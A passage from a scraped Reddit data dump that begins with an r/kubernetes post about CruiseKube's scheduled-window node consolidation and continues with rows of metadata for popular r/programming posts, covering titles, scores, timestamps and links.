[github.com/truefoundry/CruiseKube](http://github.com/truefoundry/CruiseKube) \--- I'd like input from people running consolidation in production. # The problem: Right-sizing requests downward works fine on its own. CPU and memory requests come down close to real usage. But the node count often doesn't move, and neither does the bill. The reason is that smaller requests don't shrink anything by themselves. They just create room to consolidate. Karpenter (or CA) still has to actually pack workloads onto fewer nodes, and that means disrupting running pods. That disruption is exactly what PDBs and conservative consolidation settings exist to prevent. So you end up with free capacity on paper that the cluster won't reclaim, because every guardrail protecting availability is also protecting the waste. Both obvious fixes are bad. Loosen PDBs or set Karpenter to aggressive, and you've traded a cost problem for a reliability problem. Do nothing, and the savings never show up. # What we did: We separated the two things we'd been conflating. The continuous in-place right-sizing runs whenever, it uses in-place pod resize, so no restart and no disruption. The disruptive part, the eviction and node-draining that lets the cluster actually shed nodes, only runs inside a disruption window you define. Inside the window, CruiseKube relaxes those constraints and lets consolidation proceed. Outside it, nothing moves and your availability guarantees are fully intact. So instead of ""safe always"" (no savings) or ""aggressive always"" (no sleep), it's ""aggressive on this schedule."" For us that's off-peak. \--- So, two questions for people running consolidation: 1. Is a time window actually enough in practice, or do you end up wanting conditions? Curious whether the people who've lived with maintenance-window-style disruption found it sufficient or limiting. 2. If conditions, what are the ones that actually matter to you? I'd rather build the three that 90% of people need than a general expression engine nobody wants to debug.",ramantehlan,29,9,1781037540,/r/kubernetes/comments/1u1h46f/rightsizing_pod_requests_didnt_shrink_our_node/,https://i.redd.it/j67u8mgghb6h1.jpeg,i.redd.it,False,0.9,False,,arctic-shift,1781885545 1u160mh,kubernetes,Any Complimentary Pass Opportunities for KubeCon?,"The scholarship applications have already closed, but I figured it doesn't hurt to ask. I'm a CS student interested in Kubernetes, cloud-native tech, DevOps, and MLOps. Planning to attend KubeCon, but if anyone knows of sponsor giveaways, complimentary passes, or other opportunities that might still be available, I'd be grateful for any leads. Thanks!",Odd_Mess_4615,3,1,1781014050,/r/kubernetes/comments/1u160mh/any_complimentary_pass_opportunities_for_kubecon/,https://www.reddit.com/r/kubernetes/comments/1u160mh/any_complimentary_pass_opportunities_for_kubecon/,self.kubernetes,True,0.71,False,,arctic-shift,1781885545 144sn8r,programming,Apollo dev posts backend code to Git to disprove Reddit’s claims of scrapping and inefficiency,,GhostalMedia,44750,2508,1686277449,/r/programming/comments/144sn8r/apollo_dev_posts_backend_code_to_git_to_disprove/,https://github.com/christianselig/apollo-backend,github.com,False,,,,, 7c9ms5,programming,"Chrome 64 will prevent third-party ads from redirecting the page, and prevent disguised buttons that open malicious content",,kirbyfan64sos,35597,920,1510420855,/r/programming/comments/7c9ms5/chrome_64_will_prevent_thirdparty_ads_from/,https://blog.chromium.org/2017/11/expanding-user-protections-on-web.html,blog.chromium.org,False,,,,, 7fck9y,programming,More than a Million Pro-Repeal Net Neutrality Comments were Likely Faked,,TasslehoffBurrfoot-,34858,1073,1511579913,/r/programming/comments/7fck9y/more_than_a_million_prorepeal_net_neutrality/,https://hackernoon.com/more-than-a-million-pro-repeal-net-neutrality-comments-were-likely-faked-e9f0e3ed36a6,hackernoon.com,False,,,,, 8f2lzu,programming,"There’s a reason that programmers always want to throw away old code and start over: they think the old code is a mess. They are probably wrong. The reason that they think the old code is a mess is because of a cardinal, fundamental law of programming: It’s harder to read code than to write it.",,the_phet,23482,1069,1524749052,/r/programming/comments/8f2lzu/theres_a_reason_that_programmers_always_want_to/,https://www.joelonsoftware.com/2000/04/06/things-you-should-never-do-part-i/,joelonsoftware.com,False,,,,, 91i0mc,programming,YouTube page load is 5x slower in Firefox and Edge than in Chrome because YouTube's Polymer redesign relies on the deprecated Shadow DOM v0 API only implemented in Chrome.,,malicious_turtle,22215,1996,1532443617,/r/programming/comments/91i0mc/youtube_page_load_is_5x_slower_in_firefox_and/,https://twitter.com/cpeterso/status/1021626510296285185,twitter.com,False,,,,, 7m2z3b,programming,How I Got Paid $0 From the Uber Security Bug Bounty,,Sprokes,20724,1477,1514228884,/r/programming/comments/7m2z3b/how_i_got_paid_0_from_the_uber_security_bug_bounty/,https://medium.com/bread-and-circuses/how-i-got-paid-0-from-the-uber-security-bug-bounty-aa9646aa103f,medium.com,False,,,,, 7m8770,programming,"TIL there's a community called ""dwitter"" where people compose 140 character JavaScript programs that produce interesting visuals",,bemmu,19260,342,1514300701,/r/programming/comments/7m8770/til_theres_a_community_called_dwitter_where/,https://www.dwitter.net/top,dwitter.net,False,,,,, 8530uf,programming,Cool website that explains algorithms as if they are IKEA instruction manuals,,TheSpaceOfAdes,18070,249,1521283754,/r/programming/comments/8530uf/cool_website_that_explains_algorithms_as_if_they/,https://idea-instructions.com/,idea-instructions.com,False,,,,, luq9oz,programming,How I cut GTA Online loading times by 70%,,simspelaaja,17860,1022,1614545840,/r/programming/comments/luq9oz/how_i_cut_gta_online_loading_times_by_70/,https://nee.lv/2021/02/28/How-I-cut-GTA-Online-loading-times-by-70/,nee.lv,False,,,,, 7o203z,programming,"Linus Torvalds: I think somebody inside of Intel needs to really take a long hard look at their CPU's, and actually admit that they have issues instead of writing PR blurbs that say that everything works as designed.",,TyroPyro,17676,1637,1515059555,/r/programming/comments/7o203z/linus_torvalds_i_think_somebody_inside_of_intel/,https://lkml.org/lkml/2018/1/3/797,lkml.org,False,,,,, by9v7c,programming,"I didn't get paid, so I open sourced my clients project",,TrillCyborg,17582,965,1560012257,/r/programming/comments/by9v7c/i_didnt_get_paid_so_i_open_sourced_my_clients/,https://github.com/TrillCyborg/onefraction,github.com,False,,,,, 8q3kp8,programming,Inventor says Google is patenting work he put in the public domain,,Balance-,17504,856,1528662197,/r/programming/comments/8q3kp8/inventor_says_google_is_patenting_work_he_put_in/,https://arstechnica.com/tech-policy/2018/06/inventor-says-google-is-patenting-work-he-put-in-the-public-domain/,arstechnica.com,False,,,,, rka1s4,programming,TikTok streaming software is an illegal fork of OBS,,Kok_Nikol,15666,1065,1639960220,/r/programming/comments/rka1s4/tiktok_streaming_software_is_an_illegal_fork_of/,https://twitter.com/Naaackers/status/1471494415306788870,twitter.com,False,,,,, 5yym2n,programming,Notepad++: We are in a f**king corrupted world,,thedankzone,15385,1233,1489324432,/r/programming/comments/5yym2n/notepad_we_are_in_a_fking_corrupted_world/,https://notepad-plus-plus.org/news/notepad-7.3.3-fix-cia-hacking-issue.html,notepad-plus-plus.org,False,,,,, adjw6g,programming,GitHub now gives free users unlimited private repositories,,i_wonder_as_i_wander,15077,1086,1546881949,/r/programming/comments/adjw6g/github_now_gives_free_users_unlimited_private/,https://thenextweb.com/dd/2019/01/05/github-now-gives-free-users-unlimited-private-repositories/,thenextweb.com,False,,,,, yg9cpw,programming,Twitter engineers asked to print out their last 30-60 days of code. And to be ready for pairings with Musk,,DisneyLegalTeam,14962,3149,1667015994,/r/programming/comments/yg9cpw/twitter_engineers_asked_to_print_out_their_last/,https://twitter.com/caseynewton/status/1586127052767318016?s=46&t=cQeLx1_rGjRZK2XPJhlAaA,twitter.com,False,,,,, 6xh3xp,programming,Reddit's main code is no longer open-source.,,interiot,14659,926,1504296547,/r/programming/comments/6xh3xp/reddits_main_code_is_no_longer_opensource/,https://www.reddit.com/r/changelog/comments/6xfyfg/an_update_on_the_state_of_the_redditreddit_and/,reddit.com,False,,,,, mvf2ai,programming,"Researchers Secretly Tried To Add Vulnerabilities To Linux Kernel, Ended Up Getting Banned",[deleted],[deleted],14624,1445,1619009701,/r/programming/comments/mvf2ai/researchers_secretly_tried_to_add_vulnerabilities/,https://fosspost.org/researchers-secretly-tried-to-add-vulnerabilities-to-linux-kernel/,fosspost.org,False,,,,, 656z8t,programming,How We Built r/Place,,bsimpson,14487,881,1492104916,/r/programming/comments/656z8t/how_we_built_rplace/,https://redditblog.com/2017/04/13/how-we-built-rplace/,redditblog.com,False,,,,, 6p89yq,programming,18yo arrested for reporting a bug in the new Budapest e-Ticket system,,minusSeven,13494,861,1500901997,/r/programming/comments/6p89yq/18yo_arrested_for_reporting_a_bug_in_the_new/,https://blog.marai.me/2017/07/24/18-year-old-arrested-bkk-tsystems-e-ticket/,blog.marai.me,False,,,,, 141oyj9,programming,r/programming should shut down from 12th to 14th June,,Tintin_Quarentino,13353,558,1685993299,/r/programming/comments/141oyj9/rprogramming_should_shut_down_from_12th_to_14th/,https://www.reddit.com/r/Save3rdPartyApps/comments/13yh0jf/dont_let_reddit_kill_3rd_party_apps/,reddit.com,False,,,,, puok1h,programming,"A single person answered 76k questions about SQL on StackOverflow. Averaging 22.8 answers per day, every day, for the past 8.6 years.",,youwillnevercatme,13318,602,1632504575,/r/programming/comments/puok1h/a_single_person_answered_76k_questions_about_sql/,https://stackoverflow.com/search?q=user%3A1144035+%5Bsql%5D+is%3Aanswer,stackoverflow.com,False,,,,, 76ohly,programming,Severe flaw in WPA2 protocol leaves Wi-Fi traffic open to eavesdropping,,karptonite,13176,1157,1508132425,/r/programming/comments/76ohly/severe_flaw_in_wpa2_protocol_leaves_wifi_traffic/,https://arstechnica.com/information-technology/2017/10/severe-flaw-in-wpa2-protocol-leaves-wi-fi-traffic-open-to-eavesdropping/,arstechnica.com,False,,,,, 13wuj25,programming,Reddit may force Apollo dev and other third party clients to shut down,,aniforprez,12489,908,1685558990,/r/programming/comments/13wuj25/reddit_may_force_apollo_dev_and_other_third_party/,https://9to5mac.com/2023/05/31/reddit-may-force-apollo-and-third-party-clients-to-shut-down/,9to5mac.com,False,,,,, kq90iq,programming,"Hundreds of Google Employees Unionize, Culminating Years of Activism",,tolerablepartridge,12447,1377,1609767885,/r/programming/comments/kq90iq/hundreds_of_google_employees_unionize_culminating/,https://www.nytimes.com/2021/01/04/technology/google-employees-union.html,nytimes.com,False,,,,, rtgwcf,programming,"In 2022, YYMMDDhhmm formatted times exceed signed int range, breaking Microsoft services",,rk-imn,12111,1184,1641033351,/r/programming/comments/rtgwcf/in_2022_yymmddhhmm_formatted_times_exceed_signed/,https://twitter.com/miketheitguy/status/1477097527593734144,twitter.com,False,,,,, i4xxnk,programming,"20GB leak of Intel data: whole Git repositories, dev tools, backdoor mentions in source code",,flaming_bird,11915,941,1596740655,/r/programming/comments/i4xxnk/20gb_leak_of_intel_data_whole_git_repositories/,https://twitter.com/deletescape/status/1291405688204402689,twitter.com,False,,,,, qeuaxf,programming,“Digging around HTML code” is criminal. Missouri Governor doubles down again in attack ad,,purforium,11823,1340,1635089029,/r/programming/comments/qeuaxf/digging_around_html_code_is_criminal_missouri/,https://youtu.be/9IBPeRa7U8E,youtu.be,False,,,,, 8gkqmn,programming,xkcd: Containers,,chrisdoner,11811,941,1525293960,/r/programming/comments/8gkqmn/xkcd_containers/,https://xkcd.com/1988/,xkcd.com,False,,,,, 6ph49n,programming,Adobe to end-of-life Flash by 2020,,Pandalism,11273,1419,1500998714,/r/programming/comments/6ph49n/adobe_to_endoflife_flash_by_2020/,https://blogs.adobe.com/conversations/2017/07/adobe-flash-update.html,blogs.adobe.com,False,,,,, 9sc0qj,programming,DeepCreamPy: Decensoring Hentai with Deep Neural Networks,,Angristan,11241,789,1540810309,/r/programming/comments/9sc0qj/deepcreampy_decensoring_hentai_with_deep_neural/,https://github.com/deeppomf/DeepCreamPy,github.com,False,,,,, q3smfr,programming,Unfollow Everything developer banned for life from Facebook services for creating plug-in to clean up news feed,,a_false_vacuum,10816,725,1633677126,/r/programming/comments/q3smfr/unfollow_everything_developer_banned_for_life/,https://slate.com/technology/2021/10/facebook-unfollow-everything-cease-desist.html,slate.com,False,,,,, kk8pxz,programming,This programmer reverse engineered the Pfizer mRNA vaccine source code,,powerdick,10295,602,1608941110,/r/programming/comments/kk8pxz/this_programmer_reverse_engineered_the_pfizer/,https://berthub.eu/articles/posts/reverse-engineering-source-code-of-the-biontech-pfizer-vaccine/,berthub.eu,False,,,,, 8oh3mq,programming,Microsoft acquires GitHub,,PerfectlyClear,10252,1579,1528117537,/r/programming/comments/8oh3mq/microsoft_acquires_github/,https://blogs.microsoft.com/?p=52553832,blogs.microsoft.com,False,,,,, 6j8fdi,programming,Mozilla is offering $2 million of you can architect a plan to decentralize the web,,donrhummy,10141,902,1498314596,/r/programming/comments/6j8fdi/mozilla_is_offering_2_million_of_you_can/,https://blog.mozilla.org/blog/2017/06/21/2-million-prize-decentralize-web-apply-today/,blog.mozilla.org,False,,,,, 85mdck,programming,Intel just open sourced Stephen Hawking’s speech system and it’s a .NET 4.5 WinForms app that you can try for yourself,,magenta_placenta,9753,256,1521488541,/r/programming/comments/85mdck/intel_just_open_sourced_stephen_hawkings_speech/,https://blogs.msdn.microsoft.com/cdndevs/2015/08/14/intel-just-open-sourced-stephen-hawkings-speech-system-and-its-a-net-4-5-winforms-app-that-you-can-try-for-yourself/,blogs.msdn.microsoft.com,False,,,,, qj8tsf,programming,Fake resume with tech buzzwords gets 90% success rate.,,9cantthinkofgoodname,9709,488,1635622562,/r/programming/comments/qj8tsf/fake_resume_with_tech_buzzwords_gets_90_success/,https://twitter.com/Coding_Career/status/1454293034179317764,twitter.com,False,,,,, hqnt9y,programming,"New IBM role asks for 'Minimum 12+ years experience in Kubernetes', which it's self is only 6 years old",,jl2352,9538,592,1594674399,/r/programming/comments/hqnt9y/new_ibm_role_asks_for_minimum_12_years_experience/,https://intellijobs.ai/job/IBMCloud-Native-Infrastructure-Engineer-Architect-bvJJ6yraexfWOk1nMRKP-bvJJ6yraexfWOk1nMRKP,intellijobs.ai,False,,,,, fem3g2,programming,hentAI: Detecting and removing censors with Deep Learning and Image Segmentation,,7cmStrangler,9399,394,1583536328,/r/programming/comments/fem3g2/hentai_detecting_and_removing_censors_with_deep/,https://github.com/natethegreate/hentAI,github.com,False,,,,, fjk9lq,programming,US Politicians Want to Ban End-to-End Encryption,,CarrotRobber,9314,535,1584362188,/r/programming/comments/fjk9lq/us_politicians_want_to_ban_endtoend_encryption/,https://news.bitcoin.com/us-ban-encryption/,news.bitcoin.com,False,,,,, 8kd7r9,programming,The most sophisticated piece of software/code ever written,,jailbird,9165,892,1526650574,/r/programming/comments/8kd7r9/the_most_sophisticated_piece_of_softwarecode_ever/,https://www.quora.com/What-is-the-most-sophisticated-piece-of-software-code-ever-written/answer/John-Byrd-2,quora.com,False,,,,, h8rhj6,programming,"Google resumes its senseless attack on the URL bar, hides full addresses on Chrome 85",,iamapizza,9162,971,1592130935,/r/programming/comments/h8rhj6/google_resumes_its_senseless_attack_on_the_url/,https://www.androidpolice.com/2020/06/12/google-resumes-its-senseless-attack-on-the-url-bar-hides-full-addresses-on-chrome-canary/,androidpolice.com,False,,,,, nd26jh,programming,Humanity wastes about 500 years per day on CAPTCHAs. It’s time to end this madness,,Atulin,9123,851,1621094692,/r/programming/comments/nd26jh/humanity_wastes_about_500_years_per_day_on/,https://blog.cloudflare.com/introducing-cryptographic-attestation-of-personhood/,blog.cloudflare.com,False,,,,, b799yb,programming,"GitHub Protest Over Chinese Tech Companies' ""996"" Culture Goes Viral. ""996"" refers to the idea tech employees should work 9am-9pm 6 days a week. Chinese tech companies really make their employees feel that they own all of their time. Not only while in the office, but also in after hours with WeChat.",,Xiaomizi,9002,812,1553937688,/r/programming/comments/b799yb/github_protest_over_chinese_tech_companies_996/,https://radiichina.com/github-protest-chinese-tech-996/,radiichina.com,False,,,,, 6gr2fc,programming,"TIL the current hash function for Java strings is of unknown author. In 2004 Joshua Bloch ""went so far as to call up Dennis Ritchie, who said that he did not know where the hash function came from. He walked across the hall and asked Brian Kernighan, who also had no recollection."" [x-post /r/java]",,walen,8918,506,1497257997,/r/programming/comments/6gr2fc/til_the_current_hash_function_for_java_strings_is/,http://bugs.java.com/bugdatabase/view_bug.do?bug_id=4045622,bugs.java.com,False,,,,, aiswpe,programming,Google proposes changes to Chromium which would disable uBlock Origin,,SubMachineGhost,8862,1843,1548198693,/r/programming/comments/aiswpe/google_proposes_changes_to_chromium_which_would/,https://bugs.chromium.org/p/chromium/issues/detail?id=896897&desc=2#c23,bugs.chromium.org,False,,,,, 6cw1tf,programming,Stack Overflow: Helping One Million Developers Exit Vim,,variance_explained,8807,1120,1495559669,/r/programming/comments/6cw1tf/stack_overflow_helping_one_million_developers/,https://stackoverflow.blog/2017/05/23/stack-overflow-helping-one-million-developers-exit-vim/,stackoverflow.blog,False,,,,, zkj6pb,programming,"“There should never be coding exercises in technical interviews. It favors people who have time to do them. Disfavors people with FT jobs and families. Plus, your job won’t have people over your shoulder watching you code.” My favorite hot take from a panel on 'Treating Devs Like Human Beings.'",,DeeplyIncomparable99,8771,1402,1670897255,/r/programming/comments/zkj6pb/there_should_never_be_coding_exercises_in/,https://devinterrupted.substack.com/p/treating-devs-like-human-beings-a,devinterrupted.substack.com,False,,,,, jgub36,programming,Youtube-dl just received a DMCA takedown from RIAA,,Alfyboy,8695,1454,1603482409,/r/programming/comments/jgub36/youtubedl_just_received_a_dmca_takedown_from_riaa/,https://github.com/github/dmca/blob/master/2020/10/2020-10-23-RIAA.md,github.com,False,,,,, 3ke7ug,programming,"Eye tracking software for sufferers of ALS/MND can cost tens of thousands of dollars, so I've spent 3.5 years of my spare time writing a free & open-source alternative - meet OptiKey (C#, Rx, WPF) (x-post from r/Software)",,YeahIWroteOptiKey,8662,495,1441890289,/r/programming/comments/3ke7ug/eye_tracking_software_for_sufferers_of_alsmnd_can/,https://www.reddit.com/r/software/comments/3kdghp/eye_tracking_software_for_sufferers_of_alsmnd_can/?ref=share&ref_source=link,reddit.com,False,,,,, 8ob3cl,programming,Microsoft Is Said to Have Agreed to Acquire Coding Site GitHub,,clubdirthill,8538,2016,1528054963,/r/programming/comments/8ob3cl/microsoft_is_said_to_have_agreed_to_acquire/,https://www.bloomberg.com/news/articles/2018-06-03/microsoft-is-said-to-have-agreed-to-acquire-coding-site-github,bloomberg.com,False,,,,, 4l77w2,programming,Google wins trial against Oracle as jury finds Android is “fair use”,,hondaaccords,8496,1307,1464293195,/r/programming/comments/4l77w2/google_wins_trial_against_oracle_as_jury_finds/,http://arstechnica.com/tech-policy/2016/05/google-wins-trial-against-oracle-as-jury-finds-android-is-fair-use/,arstechnica.com,False,,,,, gjqptj,programming,"From August, Chrome will start blocking ads that consume 4MB of network data, 15 seconds of CPU usage in any 30 second period, or 60 seconds of total CPU usage",,speckz,8441,584,1589476961,/r/programming/comments/gjqptj/from_august_chrome_will_start_blocking_ads_that/,https://developers.google.com/web/updates/2020/05/heavy-ad-interventions,developers.google.com,False,,,,, 992s3i,programming,"Telling the Truth About Defects in Technology Should Never, Ever, Ever Be Illegal. EVER.",,speckz,8353,401,1534855111,/r/programming/comments/992s3i/telling_the_truth_about_defects_in_technology/,https://www.eff.org/deeplinks/2018/08/telling-truth-about-defects-technology-should-never-ever-ever-be-illegal-ever,eff.org,False,,,,, 6k419t,programming,Is it unethical for me to not tell my employer I’ve automated my job?,,grepnork,8312,1836,1498687783,/r/programming/comments/6k419t/is_it_unethical_for_me_to_not_tell_my_employer/,https://workplace.stackexchange.com/questions/93696/is-it-unethical-for-me-to-not-tell-my-employer-i-ve-automated-my-job,workplace.stackexchange.com,False,,,,, 11wenmz,programming,"""Software is a just a tool to help accomplish something for people - many programmers never understood that. Keep your eyes on the delivered value, and don't over focus on the specifics of the tools"" - John Carmack",,piotrkarczmarz,8093,648,1679306923,/r/programming/comments/11wenmz/software_is_a_just_a_tool_to_help_accomplish/,https://twitter.com/ID_AA_Carmack/status/1637087219591659520,twitter.com,False,,,,, 123cmm8,programming,Twitter Source Code Leaked on GitHub,,geek_noob,7921,779,1679894954,/r/programming/comments/123cmm8/twitter_source_code_leaked_on_github/,https://www.cyberkendra.com/2023/03/twitter-source-code-leaked-on-github.html,cyberkendra.com,False,,,,, 89cq6f,programming,"No, Panera Bread doesn't take security seriously",,DevOrc,7920,621,1522754936,/r/programming/comments/89cq6f/no_panera_bread_doesnt_take_security_seriously/,https://medium.com/@djhoulihan/no-panera-bread-doesnt-take-security-seriously-bf078027f815,medium.com,False,,,,, mzn4ji,programming,Cryptocurrency is an abject disaster,,genericlemon24,7898,4334,1619525764,/r/programming/comments/mzn4ji/cryptocurrency_is_an_abject_disaster/,https://drewdevault.com/2021/04/26/Cryptocurrency-is-a-disaster.html,drewdevault.com,False,,,,, 6t4iqa,programming,"We did it Reddit! HTTP Error Code 418 - ""I'm a Teapot"" will not be removed from Node, Go, Asp.net, or Python's Request. The Internet Engineering Task Force is marking HTTP 418 as reserved, cementing ""I'm a Teapot""'s legacy for a long time to come.",,Kamatotato,7891,563,1502488994,/r/programming/comments/6t4iqa/we_did_it_reddit_http_error_code_418_im_a_teapot/,http://save418.com/,save418.com,False,,,,, 8v4wrh,programming,"Why you should not use Google Cloud – This is about the “no-warnings-given, abrupt way” they pull the plug on your entire systems if they (or the machines) believe something is wrong. This is the second time this has happened to us.",,speckz,7827,939,1530392399,/r/programming/comments/8v4wrh/why_you_should_not_use_google_cloud_this_is_about/,https://medium.com/@serverpunch/why-you-should-not-use-google-cloud-75ea2aec00de,medium.com,False,,,,, 6heysw,programming,Developers who use spaces make more money than those who use tabs - Stack Overflow Blog,,night_of_knee,7817,2132,1497532970,/r/programming/comments/6heysw/developers_who_use_spaces_make_more_money_than/,https://stackoverflow.blog/2017/06/15/developers-use-spaces-make-money-use-tabs/,stackoverflow.blog,False,,,,, 8mgfuu,programming,USA Today have an EU only version of their website. It has no tracking or ads and is 500kb. It's a joy to use,,backdoorsmasher,7814,415,1527408083,/r/programming/comments/8mgfuu/usa_today_have_an_eu_only_version_of_their/,https://eu.usatoday.com,eu.usatoday.com,False,,,,, cohlrb,programming,"Uber, losing billions, freezes engineering hires",,soup_nazi1,7781,1283,1565441244,/r/programming/comments/cohlrb/uber_losing_billions_freezes_engineering_hires/,https://arstechnica.com/cars/2019/08/uber-freezes-engineering-hires-amid-mounting-losses/,arstechnica.com,False,,,,, xnh02p,programming,The Iranian government shut down the whole Internet in Iran. Even the strongest VPNs are not working here. Can you programmers help us with providing some solutions to access the Web?,,erfaniaa,7749,543,1664092219,/r/programming/comments/xnh02p/the_iranian_government_shut_down_the_whole/,https://www.wired.com/story/iran-protests-2022-internet-shutdown-whatsapp/,wired.com,False,,,,, rm7nyp,programming,"Facebook's reputation is so bad, the company must pay even more now to hire and retain talent. Some are calling it a 'brand tax' as tech workers fear a 'black mark' on their careers.",,anaptfox,7736,991,1640187315,/r/programming/comments/rm7nyp/facebooks_reputation_is_so_bad_the_company_must/,https://www.businessinsider.com/facebook-pays-brand-tax-hire-talent-fears-career-black-mark-2021-12,businessinsider.com,False,,,,, i9luub,programming,Mozilla: The Greatest Tech Company Left Behind,,matthewpmacdonald,7620,1063,1597411323,/r/programming/comments/i9luub/mozilla_the_greatest_tech_company_left_behind/,https://medium.com/young-coder/mozilla-the-greatest-tech-company-left-behind-9e912098a0e1?source=friends_link&sk=5137896f6c2495116608a5062570cc0f,medium.com,False,,,,, 5ym1fv,programming,Password Rules Are Bullshit,,fl4v1,7464,1438,1489152469,/r/programming/comments/5ym1fv/password_rules_are_bullshit/,https://blog.codinghorror.com/password-rules-are-bullshit/,blog.codinghorror.com,False,,,,, 11gwypy,programming,Nearly 40% of software engineers will only work remotely,,Discovensco,7452,1362,1677837831,/r/programming/comments/11gwypy/nearly_40_of_software_engineers_will_only_work/,https://www.techtarget.com/searchhrsoftware/news/365531979/Nearly-40-of-software-engineers-will-only-work-remotely,techtarget.com,False,,,,, 7k8pf7,programming,Firefox is on a slippery slope,,gwolf23,7441,1147,1513449954,/r/programming/comments/7k8pf7/firefox_is_on_a_slippery_slope/,https://sircmpwn.github.io/2017/12/16/Firefox-is-on-a-slippery-slope.html,sircmpwn.github.io,False,,,,, aeweqw,programming,"Netflix Software Engineers earn a salary of more than $300,000",,magenta_placenta,7365,1444,1547220294,/r/programming/comments/aeweqw/netflix_software_engineers_earn_a_salary_of_more/,https://blog.salaryproject.com/netflix-software-engineers-earn-a-salary-of-more-than-300000/,blog.salaryproject.com,False,,,,, bjsoeh,programming,"It is perfectly OK to only code at work, you can have a life too.",,woahdotcom,7350,1153,1556787271,/r/programming/comments/bjsoeh/it_is_perfectly_ok_to_only_code_at_work_you_can/,https://zeroequalsfalse.press/posts/it-is-ok-to-only-code-at-work/,zeroequalsfalse.press,False,,,,, 5nb57a,programming,NEVER FORGET AARON SWARTZ - let us remember him on death anniversary today,,zencodr,7345,650,1484124667,/r/programming/comments/5nb57a/never_forget_aaron_swartz_let_us_remember_him_on/,https://en.wikipedia.org/wiki/Aaron_Swartz,en.wikipedia.org,False,,,,, pf5ymu,programming,"“If software engineering is in demand, why is it so hard to get a software engineering job?”",,speckz,7210,1703,1630416834,/r/programming/comments/pf5ymu/if_software_engineering_is_in_demand_why_is_it_so/,https://betterprogramming.pub/if-software-engineering-is-in-demand-why-is-it-so-hard-to-get-a-software-engineering-job-c043a964e463,betterprogramming.pub,False,,,,, e55j0i,programming,Bubble sort visualization,,pedrovhb,7185,277,1575320796,/r/programming/comments/e55j0i/bubble_sort_visualization/,https://v.redd.it/9w7r2g1uba241,v.redd.it,False,,,,, 7yb6cx,programming,"It's perfectly fine to only code at work, don't let anyone tell you otherwise",,gregbaugues,7104,1220,1518918199,/r/programming/comments/7yb6cx/its_perfectly_fine_to_only_code_at_work_dont_let/,https://dev.to/ben/its-perfectly-fine-to-only-code-at-work-dont-let-anyone-tell-you-otherwise--25i3,dev.to,False,,,,, raorbk,programming,"Blockchain, the amazing solution for almost nothing (2020)",,TheRexedS,7092,3833,1638845258,/r/programming/comments/raorbk/blockchain_the_amazing_solution_for_almost/,https://thecorrespondent.com/655/blockchain-the-amazing-solution-for-almost-nothing/86714927310-8f431cae,thecorrespondent.com,False,,,,, vki4ov,programming,Italy declares Google Analytics illegal,,DonutAccomplished422,7060,488,1656172888,/r/programming/comments/vki4ov/italy_declares_google_analytics_illegal/,https://blog.simpleanalytics.com/italy-declares-google-analytics-illegal,blog.simpleanalytics.com,False,,,,, cz6f5r,programming,"Former Google engineer breaks down interview problems he uses to screen candidates. Lots of good coding, algorithms, and interview tips.",,jfasi,7059,816,1567524730,/r/programming/comments/cz6f5r/former_google_engineer_breaks_down_interview/,https://medium.com/@alexgolec/google-interview-problems-ratio-finder-d7aa8bf201e3,medium.com,False,,,,, 74uvc7,programming,Fetlang - Fetish-themed programming language,,Property404,7044,390,1507383127,/r/programming/comments/74uvc7/fetlang_fetishthemed_programming_language/,https://github.com/Property404/fetlang,github.com,False,,,,, 71htzt,programming,"If you are ever interested in using a Hexagonal Grid in your game / app / interface, I came across an absolute goldmine of an article!",,Whale_Eating_Cheese,7012,265,1505983483,/r/programming/comments/71htzt/if_you_are_ever_interested_in_using_a_hexagonal/,https://www.redblobgames.com/grids/hexagons/,redblobgames.com,False,,,,, mhkc5p,programming,Stack Overflow just started limiting copying code from the site,,ptkaster,6929,410,1617239564,/r/programming/comments/mhkc5p/stack_overflow_just_started_limiting_copying_code/,https://twitter.com/ptkaster/status/1377427814052335618,twitter.com,False,,,,, jegq9k,programming,"Blockchain, the amazing solution for almost nothing",,imogenchampagne,6906,1511,1603161127,/r/programming/comments/jegq9k/blockchain_the_amazing_solution_for_almost_nothing/,https://thecorrespondent.com/655/blockchain-the-amazing-solution-for-almost-nothing/86714927310-8f431cae,thecorrespondent.com,False,,,,, 90qs4q,programming,Fascinating illustration of Deep Learning and LiDAR perception in Self Driving Cars and other Autonomous Vehicles,,kshitijmishra23,6827,549,1532192800,/r/programming/comments/90qs4q/fascinating_illustration_of_deep_learning_and/,https://v.redd.it/v899qwd72cb11,v.redd.it,False,,,,, i7t6qv,programming,"It is perfectly OK to only code at work, you can have a life too",,whackri,6808,736,1597157569,/r/programming/comments/i7t6qv/it_is_perfectly_ok_to_only_code_at_work_you_can/,https://zeroequalsfalse.com/posts/it-is-ok-to-only-code-at-work/,zeroequalsfalse.com,False,,,,, 9l5sxn,programming,Jesus H. Christ. This guy reverse engineered Pokemon Red....... with Minecraft command blocks. Yep you heard that right.,,Chaoscrasher,6787,722,1538603899,/r/programming/comments/9l5sxn/jesus_h_christ_this_guy_reverse_engineered/,https://youtu.be/H-U96W89Z90,youtu.be,False,,,,, kvqy4z,programming,Entire Computer Science Curriculum in 1000 YouTube Videos,,m3t3kh4n,6746,437,1610455362,/r/programming/comments/kvqy4z/entire_computer_science_curriculum_in_1000/,https://laconicml.com/computer-science-curriculum-youtube-videos/,laconicml.com,False,,,,, 7omh1n,programming,I’m harvesting credit card numbers and passwords from your site. Here’s how.,,FUZxxl,6713,665,1515277664,/r/programming/comments/7omh1n/im_harvesting_credit_card_numbers_and_passwords/,https://hackernoon.com/im-harvesting-credit-card-numbers-and-passwords-from-your-site-here-s-how-9a8cb347c5b5,hackernoon.com,False,,,,, 8k3s6g,programming,Google Provides Free Machine Learning Course For Everyone,,TheLastLived,6705,352,1526559328,/r/programming/comments/8k3s6g/google_provides_free_machine_learning_course_for/,https://www.technotification.com/2018/04/google-free-machine-learning.html,technotification.com,False,,,,, lmfi3b,programming,Citibank just got a $500 million lesson in the importance of UI design,,lwl,6695,806,1613628602,/r/programming/comments/lmfi3b/citibank_just_got_a_500_million_lesson_in_the/,https://arstechnica.com/?post_type=post&p=1743040,arstechnica.com,False,,,,, 3ytdsi,programming,"Ian Murdock, creator of Debian, has died",,Daishiman,6645,915,1451502225,/r/programming/comments/3ytdsi/ian_murdock_creator_of_debian_has_died/,http://blog.docker.com/2015/12/ian-murdock/,blog.docker.com,False,,,,, zhpkk1,programming,StackOverflow to ban ChatGPT generated answers with possibly immediate suspensions of up to 30 days to users without prior notice or warning,,3urny,6593,843,1670669435,/r/programming/comments/zhpkk1/stackoverflow_to_ban_chatgpt_generated_answers/,https://stackoverflow.com/help/gpt-policy,stackoverflow.com,False,,,,, wg8pam,programming,"Terry Davis, an extremely talented programmer who was unfortunately diagnosed with schizophrenia, made an 